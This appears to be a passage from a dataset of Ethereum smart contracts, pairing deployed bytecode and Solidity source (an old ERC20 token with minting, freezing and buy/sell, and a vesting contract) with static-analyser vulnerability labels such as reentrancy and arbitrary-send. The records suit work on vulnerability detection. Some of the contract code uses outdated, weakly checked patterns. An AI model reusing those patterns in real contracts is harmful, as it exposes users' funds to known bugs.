0608001529392505050565b600082821015611c5457611c54611b6b565b500390565b6000816000190483118215151615611c7357611c73611b6b565b500290565b600082611c9557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e760935117754ccffe1c07ca479fb0f06c627840ace08a41a6d748c2eb44a9f64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,588 |
0x257d41900ae545c77860b7106e431fdd1d6c45e7
|
pragma solidity ^0.4.24;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806323b872dd14610284578063313ce5671461030957806342966c681461033a5780634b7503341461037f57806370a08231146103aa57806379c650681461040157806379cc67901461044e5780638620410b146104b35780638da5cb5b146104de57806395d89b4114610535578063a6f2ae3a146105c5578063a9059cbb146105cf578063b414d4b61461061c578063cae9ca5114610677578063dd62ed3e14610722578063e4849b3214610799578063e724529c146107c6578063f2fde38b14610815575b600080fd5b34801561013957600080fd5b506101626004803603810190808035906020019092919080359060200190929190505050610858565b005b34801561017057600080fd5b506101796108c5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610963565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6109f0565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f6565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e610b23565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b5061036560048036038101908080359060200190929190505050610b36565b604051808215151515815260200191505060405180910390f35b34801561038b57600080fd5b50610394610c3a565b6040518082815260200191505060405180910390f35b3480156103b657600080fd5b506103eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c40565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c58565b005b34801561045a57600080fd5b50610499600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104c8610fe3565b6040518082815260200191505060405180910390f35b3480156104ea57600080fd5b506104f3610fe9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054157600080fd5b5061054a61100e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058a57808201518184015260208101905061056f565b50505050905090810190601f1680156105b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105cd6110ac565b005b3480156105db57600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110cc565b005b34801561062857600080fd5b5061065d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110db565b604051808215151515815260200191505060405180910390f35b34801561068357600080fd5b50610708600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506110fb565b604051808215151515815260200191505060405180910390f35b34801561072e57600080fd5b50610783600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127e565b6040518082815260200191505060405180910390f35b3480156107a557600080fd5b506107c4600480360381019080803590602001909291905050506112a3565b005b3480156107d257600080fd5b50610813600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611326565b005b34801561082157600080fd5b50610856600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061144b565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b357600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a8357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610b188484846114e9565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b8657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb357600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e1957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ea457600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a45780601f10611079576101008083540402835291602001916110a4565b820191906000526020600020905b81548152906001019060200180831161108757829003601f168201915b505050505081565b6000600854348115156110bb57fe5b0490506110c93033836114e9565b50565b6110d73383836114e9565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061110b8585610963565b15611275578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112055780820151818401526020810190506111ea565b50505050905090810190601f1680156112325780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561125457600080fd5b505af1158015611268573d6000803e3d6000fd5b5050505060019150611276565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff1631101515156112cd57600080fd5b6112d83330836114e9565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050158015611322573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138157600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a657600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561150f57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561155d57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156115ec57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561164557600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561169e57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a7230582003aff30b5ae7450af083b46b99e5cc35f20940c2d017dcaf330dfd115a1d007c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,589 |
0x777263905216B11be952163710A69281867E80bd
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728152